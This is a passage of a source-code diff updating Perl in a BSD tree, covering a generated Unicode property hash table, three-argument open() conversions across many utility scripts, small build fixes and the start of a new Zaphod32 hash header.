+ { 0, 3129, 7450, 17, 7, PL_HANO } /* scriptextensions=hanunoo */,
+ { 0, 7380, 8681, 4, 3, PL_CCC__BR } /* ccc=222 */,
+ { 0, 8096, 7506, 4, 7, PL_LINA } /* scx=lineara */,
+ { 1, 6263, 4194, 10, 15, PL_LB__CB } /* linebreak=contingentbreak */,
+ { 0, 6219, 3223, 11, 2, -PL_JOINC } /* joincontrol=n */,
+ { 14, 217, 2522, 6, 19, PL__PERL_FOLDS_TO_MULTI_CHAR } /* _perl_folds_to_multi_char */,
+ { 5481, 7459, 8252, 3, 4, PL_SC__BUHD } /* sc=buhd */,
+ { 0, 2990, 6874, 4, 7, PL_ARABICPFB } /* inarabicpfb */,
+ { 0, 7459, 7810, 3, 6, PL_GOTH } /* sc=gothic */,
+ { 0, 7380, 8655, 4, 2, PL_CCC__33 } /* ccc=33 */,
+ { 103, 3521, 3223, 5, 3, -PL_XPOSIXSPACE } /* space=no */,
+ { 0, 21, 7852, 2, 6, PL_KANBUN } /* inkanbun */,
+ { 2239, 3129, 7876, 17, 6, PL_LYCI } /* scriptextensions=lycian */,
+ { 0, 6263, 415, 10, 11, PL_LB__ID } /* linebreak=ideographic */
+};
+
+MPH_VALt match_uniprop( const unsigned char * const key, const U16 key_len ) {
+ const unsigned char * ptr= key;
+ const unsigned char * ptr_end= key + key_len;
+ U32 h= MPH_SEED1;
+ U32 s;
+ U32 n;
+ do {
+ h ^= *ptr;
+ h *= MPH_FNV_CONST;
+ } while ( ++ptr < ptr_end );
+ n= h % MPH_BUCKETS;
+ s = mph_table[n].seed2;
+ if (s) {
+ h= (h >> MPH_RSHIFT) ^ s;
+ n = h % MPH_BUCKETS;
+ if (
+ ( mph_table[n].pfx_len + mph_table[n].sfx_len == key_len ) &&
+ ( memcmp(mph_blob + mph_table[n].pfx, key, mph_table[n].pfx_len) == 0 ) &&
+ ( !mph_table[n].sfx_len || memcmp(mph_blob + mph_table[n].sfx,
+ key + mph_table[n].pfx_len, mph_table[n].sfx_len) == 0 )
+ ) {
+ return mph_table[n].value;
+ }
+ }
+ return 0;
+}
+
+/* Generated from:
+ * 4d64b650346ff9ddbcd3986f0da13f3be2379d64c574a120ca7f534d8d17934c lib/Unicode/UCD.pm
+ * ff4404ec64f308bdf7714c50f9fdf0d1d0bf3c34db4d0a67e58ef0c6f88e818f lib/unicore/ArabicShaping.txt
+ * 292171a0a1c13d7e581e8781eb4cdf248243b1ab267354a63c7a14429dea2740 lib/unicore/BidiBrackets.txt
+ * 8f2695cc42989a79a715ab0d2892bd0c998759180cfdfb998674447f48231940 lib/unicore/BidiMirroring.txt
+ * 5ae1649a42ed8ae8cb885af79563f00a9ae17e602405a56ed8aca214da14eea7 lib/unicore/Blocks.txt
+ * 97b43ed3f4b80572c2114200e5e43a6b923d984c74a6caaf27de5b8462c04cb0 lib/unicore/CaseFolding.txt
+ * eedcf6932b4081ee65878454588c803af910a5aed7c8c67e3c38701cbee9b9e4 lib/unicore/CompositionExclusions.txt
+ * 90e48995643f45b08f0ef67fb90de3bb18e26765272bcc0c35c840cbc10b37c1 lib/unicore/DAge.txt
+ * e6ca152259189ec4bc2297e93c6c88f86e162cc52814198263497f3c9b46cbe9 lib/unicore/DCoreProperties.txt
+ * 3e255ccdff4b00cfe0be53bbd583e4fe2e7d4039138579543548a5ecfce45242 lib/unicore/DNormalizationProps.txt
+ * 9f34e2d3ea27ca82f4f14b62411861d1f07c4b9e296d54da112a09cad5b9a48d lib/unicore/EastAsianWidth.txt
+ * 983810c739b56b9ff0fcb5db018c67d584ee515e8a5f4d9348c79ee85167ec37 lib/unicore/HangulSyllableType.txt
+ * 7d514a779ee4baf91262bd83c400cb502c3e435dba4b880c876506be32b8e1d0 lib/unicore/IndicPositionalCategory.txt
+ * f6acead8f84df5c72f3fb70dfc9375279926e4d8ef3480ffff3723095e9804aa lib/unicore/IndicSyllabicCategory.txt
+ * c8ed526f70443535ca6b705980a08c774017ff17e921202dcb7b71ae554047b6 lib/unicore/Jamo.txt
+ * 6b204c3727b77699d04a574b22b1e44facab038642095b8565b49762970d9bf8 lib/unicore/LineBreak.txt
+ * f2357d2bd3526b9e830de72ab038dcfc65a2dff24bcb4c6325c92071eb341f88 lib/unicore/NameAliases.txt
+ * 6c3e6bd1e58b640076a23b83318a8bf6a691d7fc2b2106114d77c5c5a898bced lib/unicore/NamedSequences.txt
+ * 58dbf8fedbd5bf67a3bd5c10eda2f2acf2eae59df5f77884a6f158e98f75cf8c lib/unicore/PropList.txt
+ * a6b0467c3cc7aa4e57d4e5cc7f6e9562b79cf4426dfe438517c28b368ed3e673 lib/unicore/PropValueAliases.txt
+ * 9ca521224e08d30696516ae6bc3d4434659c45df16047c0d31e440783c163a3b lib/unicore/PropertyAliases.txt
+ * 3fd0d744a816ddfd06809f92151ae4a73ec970ac2006806c269732d8951f3911 lib/unicore/ScriptExtensions.txt
+ * d02e24e4c516e9090b6bc9c2d2c8f4c89510b6ed8c5e859d0a861b0dc5cf372d lib/unicore/Scripts.txt
+ * e9947a0e86f27353f0e776403c4826675001210bd39d7114118a8864a57f7472 lib/unicore/SpecialCasing.txt
+ * 52423e4d7492167b62f518f68d54db88930abbbff7f11edfcaec8f726498cab1 lib/unicore/UnicodeData.txt
+ * f28caf260635cebf25fd58124bdc9aa22af08ba4d039ffc584365fb41a31cda5 lib/unicore/VerticalOrientation.txt
+ * 718d174957712410bfad782b10d557e1047574d7ef1642d6bb122f8ca5662c82 lib/unicore/auxiliary/GCBTest.txt
+ * 3b66caefc4fa877d0e50dbbbfa39658c86e29b26c6f206f68d7aec192d4c59b6 lib/unicore/auxiliary/GraphemeBreakProperty.txt
+ * 2aad3836c37fc4c2fa2a24f21586fb3a931dacaf0a1c845a6dc6395f30bd79a7 lib/unicore/auxiliary/LBTest.txt
+ * eacc03e39dddc60cc59ec9bd274b8ac8dfa25d61745ef0d5c8aa1c151a5b68ba lib/unicore/auxiliary/SBTest.txt
+ * e45fa8195bb413b901cc1e3772dfea2cead86805d46a51e3480a5a256e8c24d9 lib/unicore/auxiliary/SentenceBreakProperty.txt
+ * 95789f62e3b1e781dc9ed78f3983d39ff1a5e36ff0b497d6e610446df902b0f6 lib/unicore/auxiliary/WBTest.txt
+ * c207e8ebd06ee591a27b1087f2971f4cd93e960103c453d85d1d9ba26fb8b202 lib/unicore/auxiliary/WordBreakProperty.txt
+ * a3c0839826a30166b2bb06ba58df403547b8c3d9eae995ef889d20d115f4b223 lib/unicore/extracted/DBidiClass.txt
+ * 280afe22f6c4d56566d17d6d1400f33465a979c96f3d99ff3bff9bd14d17e734 lib/unicore/extracted/DBinaryProperties.txt
+ * db7fd6a5e6f068c47dbc3b74fb633fb1d09d17073410fe435295d05ce925c5f6 lib/unicore/extracted/DCombiningClass.txt
+ * 8204c07a7c217bdf22525030ad7b4fb991edf463bffcca7e6dba46b9992e0d99 lib/unicore/extracted/DDecompositionType.txt
+ * e343113719b660bdd81217ec101ce751f844fca0e8d6f15fb21c8ee7dfe7c14c lib/unicore/extracted/DEastAsianWidth.txt
+ * 07c55b0ed7271fe1a5f4d68059291288b1a8ad61940602d18956fd87390c2d9e lib/unicore/extracted/DGeneralCategory.txt
+ * d788b9362ec7681e98f8b9d6ef276546e1a6207dda05317ede55bd686b0940a9 lib/unicore/extracted/DJoinGroup.txt
+ * ebbea3c93eeb7431378885aebac0490d77f6900239c9176f90b6fee030903d96 lib/unicore/extracted/DJoinType.txt
+ * be0f129691d479aa38646e4ca0ec1ee576ae7f75b0300a5624a7fa862fa8abba lib/unicore/extracted/DLineBreak.txt
+ * 92449d354d9f6b6f2f97a292ebb59f6344ffdeb83d120d7d23e569c43ba67cd5 lib/unicore/extracted/DNumType.txt
+ * e3a319527153b0c6c0c549b40fc6f3a01a7a0dcd6620784391db25901df3b154 lib/unicore/extracted/DNumValues.txt
+ * ba5b13123afb59ea004c14fcbac80b5ff428c5b8f1b84bf8602b4ffb7da0407f lib/unicore/mktables
+ * 21653d2744fdd071f9ef138c805393901bb9547cf3e777ebf50215a191f986ea lib/unicore/version
+ * 913d2f93f3cb6cdf1664db888bf840bc4eb074eef824e082fceda24a9445e60c regen/charset_translations.pl
+ * 33533b773e8eb3486472ad21caf90221710a3e0eb12040cf1fd84c24ba53f2dc regen/mk_invlists.pl
+ * 784929499a354028e04efcff331847d420beeca7f3f4f22569b59ec160924b72 regen/mph.pl
+ * ex: set ro: */
diff --git a/gnu/usr.bin/perl/utils/corelist.PL b/gnu/usr.bin/perl/utils/corelist.PL
index 9bad7757b96..d1376bef4e0 100644
--- a/gnu/usr.bin/perl/utils/corelist.PL
+++ b/gnu/usr.bin/perl/utils/corelist.PL
@@ -18,7 +18,7 @@ chdir dirname($0);
my $file = basename($0, '.PL');
$file .= '.com' if $^O eq 'VMS';
-open OUT,">$file" or die "Can't create $file: $!";
+open OUT, '>', $file or die "Can't create $file: $!";
print "Extracting $file (with variable substitutions)\n";
@@ -38,7 +38,7 @@ my $script = File::Spec->catfile(
File::Spec->updir, qw[dist Module-CoreList]
), "corelist");
-if (open(IN, $script)) {
+if (open(IN, '<', $script)) {
print OUT <IN>;
close IN;
} else {
diff --git a/gnu/usr.bin/perl/utils/cpan.PL b/gnu/usr.bin/perl/utils/cpan.PL
index c7c26685dbc..f40c1c44dff 100644
--- a/gnu/usr.bin/perl/utils/cpan.PL
+++ b/gnu/usr.bin/perl/utils/cpan.PL
@@ -18,7 +18,7 @@ chdir dirname($0);
my $file = basename($0, '.PL');
$file .= '.com' if $^O eq 'VMS';
-open OUT,">$file" or die "Can't create $file: $!";
+open OUT, '>', $file or die "Can't create $file: $!";
print "Extracting $file (with variable substitutions)\n";
@@ -35,7 +35,7 @@ use File::Spec;
my $cpan = File::Spec->catfile(File::Spec->catdir(File::Spec->updir, qw(cpan CPAN scripts)), "cpan");
-if (open(CPAN, $cpan)) {
+if (open(CPAN, '<', $cpan)) {
print OUT <CPAN>;
close CPAN;
} else {
diff --git a/gnu/usr.bin/perl/utils/encguess.PL b/gnu/usr.bin/perl/utils/encguess.PL
index 81322f9c219..caa908f4b06 100644
--- a/gnu/usr.bin/perl/utils/encguess.PL
+++ b/gnu/usr.bin/perl/utils/encguess.PL
@@ -18,7 +18,7 @@ chdir dirname($0);
my $file = basename($0, '.PL');
$file .= '.com' if $^O eq 'VMS';
-open OUT,">$file" or die "Can't create $file: $!";
+open OUT, '>', $file or die "Can't create $file: $!";
print "Extracting $file (with variable substitutions)\n";
@@ -35,7 +35,7 @@ use File::Spec;
my $enc2xs = File::Spec->catfile(File::Spec->catdir(File::Spec->updir, "cpan", "Encode", "bin"), "encguess");
-if (open(ENC2XS, $enc2xs)) {
+if (open(ENC2XS, '<', $enc2xs)) {
print OUT <ENC2XS>;
close ENC2XS;
} else {
diff --git a/gnu/usr.bin/perl/utils/instmodsh.PL b/gnu/usr.bin/perl/utils/instmodsh.PL
index 08a47b7de89..a1e7b55b70d 100644
--- a/gnu/usr.bin/perl/utils/instmodsh.PL
+++ b/gnu/usr.bin/perl/utils/instmodsh.PL
@@ -18,7 +18,7 @@ chdir dirname($0);
my $file = basename($0, '.PL');
$file .= '.com' if $^O eq 'VMS';
-open OUT,">$file" or die "Can't create $file: $!";
+open OUT, '>', $file or die "Can't create $file: $!";
print "Extracting $file (with variable substitutions)\n";
@@ -38,7 +38,7 @@ my $instmodsh
qw(cpan ExtUtils-MakeMaker bin)),
'instmodsh');
-if (open(INSTMODSH, $instmodsh)) {
+if (open(INSTMODSH, '<', $instmodsh)) {
print OUT <INSTMODSH>;
close INSTMODSH;
} else {
diff --git a/gnu/usr.bin/perl/utils/json_pp.PL b/gnu/usr.bin/perl/utils/json_pp.PL
index 72c2e907859..efd8e23b0c6 100644
--- a/gnu/usr.bin/perl/utils/json_pp.PL
+++ b/gnu/usr.bin/perl/utils/json_pp.PL
@@ -18,7 +18,7 @@ chdir dirname($0);
my $file = basename($0, '.PL');
$file .= '.com' if $^O eq 'VMS';
-open OUT,">$file" or die "Can't create $file: $!";
+open OUT, '>', $file or die "Can't create $file: $!";
print "Extracting $file (with variable substitutions)\n";
@@ -38,7 +38,7 @@ my $script = File::Spec->catfile(
File::Spec->updir, qw[cpan JSON-PP bin]
), "json_pp");
-if (open(IN, $script)) {
+if (open(IN, '<', $script)) {
print OUT <IN>;
close IN;
} else {
diff --git a/gnu/usr.bin/perl/utils/piconv.PL b/gnu/usr.bin/perl/utils/piconv.PL
index ca8a8cfb7e2..4e012d3dc35 100644
--- a/gnu/usr.bin/perl/utils/piconv.PL
+++ b/gnu/usr.bin/perl/utils/piconv.PL
@@ -18,7 +18,7 @@ chdir dirname($0);
my $file = basename($0, '.PL');
$file .= '.com' if $^O eq 'VMS';
-open OUT,">$file" or die "Can't create $file: $!";
+open OUT, ">", $file or die "Can't create $file: $!";
print "Extracting $file (with variable substitutions)\n";
@@ -35,7 +35,7 @@ use File::Spec;
my $piconv = File::Spec->catfile(File::Spec->catdir(File::Spec->updir, "cpan", "Encode", "bin"), "piconv");
-if (open(PICONV, $piconv)) {
+if (open(PICONV, '<', $piconv)) {
print OUT <PICONV>;
close PICONV;
} else {
diff --git a/gnu/usr.bin/perl/utils/pod2html.PL b/gnu/usr.bin/perl/utils/pod2html.PL
index 696624f1633..eafd8f66651 100644
--- a/gnu/usr.bin/perl/utils/pod2html.PL
+++ b/gnu/usr.bin/perl/utils/pod2html.PL
@@ -18,7 +18,7 @@ chdir dirname($0);
my $file = basename($0, '.PL');
$file .= '.com' if $^O eq 'VMS';
-open OUT,">$file" or die "Can't create $file: $!";
+open OUT, ">", $file or die "Can't create $file: $!";
print "Extracting $file (with variable substitutions)\n";
diff --git a/gnu/usr.bin/perl/utils/prove.PL b/gnu/usr.bin/perl/utils/prove.PL
index 17c4a7607ee..61b8efc8a52 100644
--- a/gnu/usr.bin/perl/utils/prove.PL
+++ b/gnu/usr.bin/perl/utils/prove.PL
@@ -18,7 +18,7 @@ chdir dirname($0);
my $file = basename($0, '.PL');
$file .= '.com' if $^O eq 'VMS';
-open OUT,">$file" or die "Can't create $file: $!";
+open OUT, ">", $file or die "Can't create $file: $!";
print "Extracting $file (with variable substitutions)\n";
@@ -36,7 +36,7 @@ use File::Spec;
my $prove = File::Spec->catfile(File::Spec->catdir(File::Spec->updir,
"cpan", "Test-Harness", "bin"), "prove");
-if (open(PROVE, $prove)) {
+if (open(PROVE, '<', $prove)) {
print OUT <PROVE>;
close PROVE;
} else {
diff --git a/gnu/usr.bin/perl/utils/ptar.PL b/gnu/usr.bin/perl/utils/ptar.PL
index 66242e3cc43..5dbf61b3128 100644
--- a/gnu/usr.bin/perl/utils/ptar.PL
+++ b/gnu/usr.bin/perl/utils/ptar.PL
@@ -18,7 +18,7 @@ chdir dirname($0);
my $file = basename($0, '.PL');
$file .= '.com' if $^O eq 'VMS';
-open OUT,">$file" or die "Can't create $file: $!";
+open OUT, ">", $file or die "Can't create $file: $!";
print "Extracting $file (with variable substitutions)\n";
@@ -38,7 +38,7 @@ my $script = File::Spec->catfile(
File::Spec->updir, qw[cpan Archive-Tar bin]
), "ptar");
-if (open(IN, $script)) {
+if (open(IN, '<', $script)) {
print OUT <IN>;
close IN;
} else {
diff --git a/gnu/usr.bin/perl/utils/ptardiff.PL b/gnu/usr.bin/perl/utils/ptardiff.PL
index e68f11ff080..8daefe258a1 100644
--- a/gnu/usr.bin/perl/utils/ptardiff.PL
+++ b/gnu/usr.bin/perl/utils/ptardiff.PL
@@ -18,7 +18,7 @@ chdir dirname($0);
my $file = basename($0, '.PL');
$file .= '.com' if $^O eq 'VMS';
-open OUT,">$file" or die "Can't create $file: $!";
+open OUT, ">", $file or die "Can't create $file: $!";
print "Extracting $file (with variable substitutions)\n";
@@ -38,7 +38,7 @@ my $script = File::Spec->catfile(
File::Spec->updir, qw[cpan Archive-Tar bin]
), "ptardiff");
-if (open(IN, $script)) {
+if (open(IN, '<', $script)) {
print OUT <IN>;
close IN;
} else {
diff --git a/gnu/usr.bin/perl/utils/ptargrep.PL b/gnu/usr.bin/perl/utils/ptargrep.PL
index 99d66a6718b..b8b0830dea3 100644
--- a/gnu/usr.bin/perl/utils/ptargrep.PL
+++ b/gnu/usr.bin/perl/utils/ptargrep.PL
@@ -18,7 +18,7 @@ chdir dirname($0);
my $file = basename($0, '.PL');
$file .= '.com' if $^O eq 'VMS';
-open OUT,">$file" or die "Can't create $file: $!";
+open OUT, ">", $file or die "Can't create $file: $!";
print "Extracting $file (with variable substitutions)\n";
@@ -38,7 +38,7 @@ my $script = File::Spec->catfile(
File::Spec->updir, qw[cpan Archive-Tar bin]
), "ptargrep");
-if (open(IN, $script)) {
+if (open(IN, '<', $script)) {
print OUT <IN>;
close IN;
} else {
diff --git a/gnu/usr.bin/perl/utils/shasum.PL b/gnu/usr.bin/perl/utils/shasum.PL
index 852e6d21b77..afdbb48fe22 100644
--- a/gnu/usr.bin/perl/utils/shasum.PL
+++ b/gnu/usr.bin/perl/utils/shasum.PL
@@ -18,7 +18,7 @@ chdir dirname($0);
my $file = basename($0, '.PL');
$file .= '.com' if $^O eq 'VMS';
-open OUT,">$file" or die "Can't create $file: $!";
+open OUT, ">", $file or die "Can't create $file: $!";
print "Extracting $file (with variable substitutions)\n";
@@ -38,7 +38,7 @@ my $script = File::Spec->catfile(
File::Spec->updir, qw[cpan Digest-SHA]
), "shasum");
-if (open(IN, $script)) {
+if (open(IN, '<', $script)) {
print OUT <IN>;
close IN;
} else {
diff --git a/gnu/usr.bin/perl/utils/xsubpp.PL b/gnu/usr.bin/perl/utils/xsubpp.PL
index 0331d4a1368..450275ba106 100644
--- a/gnu/usr.bin/perl/utils/xsubpp.PL
+++ b/gnu/usr.bin/perl/utils/xsubpp.PL
@@ -18,7 +18,7 @@ chdir dirname($0);
my $file = basename($0, '.PL');
$file .= '.com' if $^O eq 'VMS';
-open OUT,">$file" or die "Can't create $file: $!";
+open OUT, ">", $file or die "Can't create $file: $!";
print "Extracting $file (with variable substitutions)\n";
@@ -38,7 +38,7 @@ my $xsubpp = File::Spec->catfile(File::Spec->catdir(File::Spec->updir,
lib ExtUtils)),
'xsubpp');
-if (open(XSUBPP, $xsubpp)) {
+if (open(XSUBPP, '<', $xsubpp)) {
print OUT <XSUBPP>;
close XSUBPP;
} else {
diff --git a/gnu/usr.bin/perl/utils/zipdetails.PL b/gnu/usr.bin/perl/utils/zipdetails.PL
index a905c4befbf..0fbdf838779 100644
--- a/gnu/usr.bin/perl/utils/zipdetails.PL
+++ b/gnu/usr.bin/perl/utils/zipdetails.PL
@@ -18,7 +18,7 @@ chdir dirname($0);
my $file = basename($0, '.PL');
$file .= '.com' if $^O eq 'VMS';
-open OUT,">$file" or die "Can't create $file: $!";
+open OUT, ">", $file or die "Can't create $file: $!";
print "Extracting $file (with variable substitutions)\n";
@@ -38,7 +38,7 @@ my $script = File::Spec->catfile(
File::Spec->updir, qw[ cpan IO-Compress bin ]
), "zipdetails");
-if (open(IN, $script)) {
+if (open(IN, '<', $script)) {
print OUT <IN>;
close IN;
} else {
diff --git a/gnu/usr.bin/perl/vms/mms2make.pl b/gnu/usr.bin/perl/vms/mms2make.pl
index 1706c51283a..7a83052acfc 100644
--- a/gnu/usr.bin/perl/vms/mms2make.pl
+++ b/gnu/usr.bin/perl/vms/mms2make.pl
@@ -38,8 +38,8 @@ $macros{"DECC"} = 1 if $macros{"__AXP__"};
# [lazy - saves having to check for empty array - just test [0]==1]
@conditions = (1);
-open(INFIL,$infile) || die "Can't open $infile: $!\n";
-open(OUTFIL,">$outfile") || die "Can't open $outfile: $!\n";
+open(INFIL,'<',$infile) || die "Can't open $infile: $!\n";
+open(OUTFIL,'>',$outfile) || die "Can't open $outfile: $!\n";
print OUTFIL "#> This file produced from $infile by $0\n";
print OUTFIL "#> Lines beginning with \"#>\" were commented out during the\n";
diff --git a/gnu/usr.bin/perl/vms/munchconfig.c b/gnu/usr.bin/perl/vms/munchconfig.c
index c76809a6fe8..8f20417f668 100644
--- a/gnu/usr.bin/perl/vms/munchconfig.c
+++ b/gnu/usr.bin/perl/vms/munchconfig.c
@@ -34,7 +34,7 @@
/* The biggest line we can read in from a file */
#define LINEBUFFERSIZE 1024
#define NUMTILDESUBS 30
-#define NUMCONFIGSUBS 1000
+#define NUMCONFIGSUBS 1500
#define TOKENBUFFERSIZE 80
typedef struct {
diff --git a/gnu/usr.bin/perl/win32/bin/exetype.pl b/gnu/usr.bin/perl/win32/bin/exetype.pl
index 27e3b94bc83..203f554d36c 100644
--- a/gnu/usr.bin/perl/win32/bin/exetype.pl
+++ b/gnu/usr.bin/perl/win32/bin/exetype.pl
@@ -23,7 +23,7 @@ unless (@ARGV == 1 || defined $subsys{$ARGV[1]}) {
}
my ($record,$magic,$signature,$offset,$size);
-open EXE, "+< $ARGV[0]" or die "Cannot open $ARGV[0]: $!\n";
+open EXE, '+<', $ARGV[0] or die "Cannot open $ARGV[0]: $!\n";
binmode EXE;
# read IMAGE_DOS_HEADER structure
diff --git a/gnu/usr.bin/perl/win32/ce-helpers/makedist.pl b/gnu/usr.bin/perl/win32/ce-helpers/makedist.pl
index 7cfdc366d9e..daf4f3e96c4 100644
--- a/gnu/usr.bin/perl/win32/ce-helpers/makedist.pl
+++ b/gnu/usr.bin/perl/win32/ce-helpers/makedist.pl
@@ -101,7 +101,7 @@ for (@efiles) {
my ($dynaloader_pm);
if ($opts{adaptation}) {
# let's copy our Dynaloader.pm (make this optional?)
- open my $fhdyna, ">$opts{distdir}/lib/Dynaloader.pm";
+ open my $fhdyna, '>', "$opts{distdir}/lib/Dynaloader.pm";
print $fhdyna $dynaloader_pm;
close $fhdyna;
}
@@ -138,7 +138,7 @@ for (@afiles) {
sub copy($$) {
my ($fnfrom, $fnto) = @_;
- open my $fh, "<$fnfrom" or die "can not open $fnfrom: $!";
+ open my $fh, '<', $fnfrom or die "can not open $fnfrom: $!";
binmode $fh;
local $/;
my $ffrom = <$fh>;
@@ -153,7 +153,7 @@ sub copy($$) {
}
}
mkpath $1 if $fnto=~/^(.*)\/([^\/]+)$/;
- open my $fhout, ">$fnto";
+ open my $fhout, '>', $fnto;
binmode $fhout;
print $fhout $ffrom;
if ($opts{'verbose'} >=2) {
@@ -237,6 +237,7 @@ sub bootstrap {
my $bs = $file;
$bs =~ s/(\.\w+)?(;\d*)?$/\.bs/;
if (-s $bs) { # only read file if it's not empty
+ local @INC = ('.');
do $bs;
warn "$bs: $@\n" if $@;
}
diff --git a/gnu/usr.bin/perl/win32/list_static_libs.pl b/gnu/usr.bin/perl/win32/list_static_libs.pl
index 4b63d908126..a86eea52733 100644
--- a/gnu/usr.bin/perl/win32/list_static_libs.pl
+++ b/gnu/usr.bin/perl/win32/list_static_libs.pl
@@ -7,11 +7,11 @@ use Config;
my @statics = split /\s+/, $Config{static_ext};
-my %extralibs;
+my (@extralibs, %extralibs); # collect extralibs, preserving their order
for (@statics) {
my $file = "..\\lib\\auto\\$_\\extralibs.ld";
open my $fh, '<', $file or die "can't open $file for reading: $!";
- $extralibs{$_}++ for grep {/\S/} split /\s+/, join '', <$fh>;
+ push @extralibs, grep {!$extralibs{$_}++} grep {/\S/} split /\s+/, join '', <$fh>;
}
print map {s|/|\\|g;m|([^\\]+)$|;"..\\lib\\auto\\$_\\$1$Config{_a} "} @statics;
-print map {"$_ "} sort keys %extralibs;
+print map {"$_ "} @extralibs;
diff --git a/gnu/usr.bin/perl/zaphod32_hash.h b/gnu/usr.bin/perl/zaphod32_hash.h
new file mode 100644
index 00000000000..c9b60ccb32b
--- /dev/null
+++ b/gnu/usr.bin/perl/zaphod32_hash.h
@@ -0,0 +1,322 @@
+#ifndef DEBUG_ZAPHOD32_HASH
+#define DEBUG_ZAPHOD32_HASH 0
+
+#if DEBUG_ZAPHOD32_HASH == 1
+#include <stdio.h>
+#define ZAPHOD32_WARN6(pat,v0,v1,v2,v3,v4,v5) printf(pat, v0, v1, v2, v3, v4, v5)
+#define ZAPHOD32_WARN5(pat,v0,v1,v2,v3,v4) printf(pat, v0, v1, v2, v3, v4)
+#define ZAPHOD32_WARN4(pat,v0,v1,v2,v3) printf(pat, v0, v1, v2, v3)
+#define ZAPHOD32_WARN3(pat,v0,v1,v2) printf(pat, v0, v1, v2)
+#define ZAPHOD32_WARN2(pat,v0,v1) printf(pat, v0, v1)
+#define NOTE3(pat,v0,v1,v2) printf(pat, v0, v1, v2)
+#elif DEBUG_ZAPHOD32_HASH == 2
+#define ZAPHOD32_WARN6(pat,v0,v1,v2,v3,v4,v5)
+#define ZAPHOD32_WARN5(pat,v0,v1,v2,v3,v4)
+#define ZAPHOD32_WARN4(pat,v0,v1,v2,v3)
+#define ZAPHOD32_WARN3(pat,v0,v1,v2)
+#define ZAPHOD32_WARN2(pat,v0,v1)
+#define NOTE3(pat,v0,v1,v2) printf(pat, v0, v1, v2)
+#else
+#define ZAPHOD32_WARN6(pat,v0,v1,v2,v3,v4,v5)
+#define ZAPHOD32_WARN5(pat,v0,v1,v2,v3,v4)
+#define ZAPHOD32_WARN4(pat,v0,v1,v2,v3)
+#define ZAPHOD32_WARN3(pat,v0,v1,v2)
+#define NOTE3(pat,v0,v1,v2)
+#define ZAPHOD32_WARN2(pat,v0,v1)
+#endif
+
+/* Find best way to ROTL32/ROTL64 */
+#ifndef ROTL32
+#if defined(_MSC_VER)
+#include <stdlib.h> /* Microsoft put _rotl declaration in here */
+#define ROTL32(x,r) _rotl(x,r)
+#define ROTR32(x,r) _rotr(x,r)
+#else
+/* gcc recognises this code and generates a rotate instruction for CPUs with one */
+#define ROTL32(x,r) (((U32)(x) << (r)) | ((U32)(x) >> (32 - (r))))
+#define ROTR32(x,r) (((U32)(x) << (32 - (r))) | ((U32)(x) >> (r)))
+#endif
+#endif
+
+#ifndef PERL_SEEN_HV_FUNC_H
+#if !defined(U64)
+#include <stdint.h>
+#define U64 uint64_t
+#endif
+
+#if !defined(U32)
+#define U32 uint32_t
+#endif
+
+#if !defined(U8)
+#define U8 unsigned char
+#endif
+
+#if !defined(U16)
+#define U16 uint16_t
+#endif
+
+#ifndef STRLEN
+#define STRLEN int
+#endif
+#endif
+
+#ifndef ZAPHOD32_STATIC_INLINE
+#ifdef PERL_STATIC_INLINE
+#define ZAPHOD32_STATIC_INLINE PERL_STATIC_INLINE
+#else
+#define ZAPHOD32_STATIC_INLINE static inline
+#endif
+#endif
+
+#ifndef STMT_START
+#define STMT_START do
+#define STMT_END while(0)
+#endif
+
+#ifndef ZAPHOD32_ALLOW_UNALIGNED_AND_LITTLE_ENDIAN
+/* ZAPHOD32_ALLOW_UNALIGNED_AND_LITTLE_ENDIAN only matters if nothing has defined U8TO64_LE etc,
+ * and when built with Perl these should be defined before this file is loaded.
+ */
+#ifdef U32_ALIGNMENT_REQUIRED
+#define ZAPHOD32_ALLOW_UNALIGNED_AND_LITTLE_ENDIAN 0
+#else
+#define ZAPHOD32_ALLOW_UNALIGNED_AND_LITTLE_ENDIAN 1
+#endif
+#endif
+
+#ifndef U8TO32_LE
+#if ZAPHOD32_ALLOW_UNALIGNED_AND_LITTLE_ENDIAN
+#define U8TO32_LE(ptr) (*((const U32 *)(ptr)))
+#else
+#define U8TO32_LE(ptr) (\
+ (U32)(ptr)[3] << 24 | \
+ (U32)(ptr)[2] << 16 | \
+ (U32)(ptr)[1] << 8 | \
+ (U32)(ptr)[0] \
+)
+#endif
+#endif
+
+#ifndef U8TO16_LE
+#if ZAPHOD32_ALLOW_UNALIGNED_AND_LITTLE_ENDIAN
+#define U8TO16_LE(ptr) (*((const U16 *)(ptr)))
+#else
+#define U8TO16_LE(ptr) (\
+ (U16)(ptr)[1] << 8 | \
+ (U16)(ptr)[0] \
+)
+#endif
+#endif
+
+/* This is two marsaglia xor-shift permutes, with a prime-multiple
+ * sandwiched inside. The end result of doing this twice with different
+ * primes is a completely avalanched v. */
+#define ZAPHOD32_SCRAMBLE32(v,prime) STMT_START { \
+ v ^= (v>>9); \
+ v ^= (v<<21); \
+ v ^= (v>>16); \
+ v *= prime; \
+ v ^= (v>>17); \
+ v ^= (v<<15); \
+ v ^= (v>>23); \
+} STMT_END
+
+#define ZAPHOD32_FINALIZE(v0,v1,v2) STMT_START { \
+ ZAPHOD32_WARN3("v0=%08x v1=%08x v2=%08x - ZAPHOD32 FINALIZE\n", \
+ (unsigned int)v0, (unsigned int)v1, (unsigned int)v2); \
+ v2 += v0; \
+ v1 -= v2; \
+ v1 = ROTL32(v1, 6); \
+ v2 ^= v1; \
+ v2 = ROTL32(v2, 28); \
+ v1 ^= v2; \
+ v0 += v1; \
+ v1 = ROTL32(v1, 24); \
+ v2 += v1; \
+ v2 = ROTL32(v2, 18) + v1; \
+ v0 ^= v2; \
+ v0 = ROTL32(v0, 20); \
+ v2 += v0; \
+ v1 ^= v2; \
+ v0 += v1; \
+ v0 = ROTL32(v0, 5); \
+ v2 += v0; \
+ v2 = ROTL32(v2, 22); \
+ v0 -= v1; \
+ v1 -= v2; \
+ v1 = ROTL32(v1, 17); \
+} STMT_END
+
+#define ZAPHOD32_MIX(v0,v1,v2,text) STMT_START { \
+ ZAPHOD32_WARN4("v0=%08x v1=%08x v2=%08x - ZAPHOD32 %s MIX\n", \
+ (unsigned int)v0,(unsigned int)v1,(unsigned int)v2, text ); \
+ v0 = ROTL32(v0,16) - v2; \
+ v1 = ROTR32(v1,13) ^ v2; \
+ v2 = ROTL32(v2,17) + v1; \
+ v0 = ROTR32(v0, 2) + v1; \
+ v1 = ROTR32(v1,17) - v0; \
+ v2 = ROTR32(v2, 7) ^ v0; \
+} STMT_END
+
+
+ZAPHOD32_STATIC_INLINE
+void zaphod32_seed_state (
+ const U8 *seed_ch,
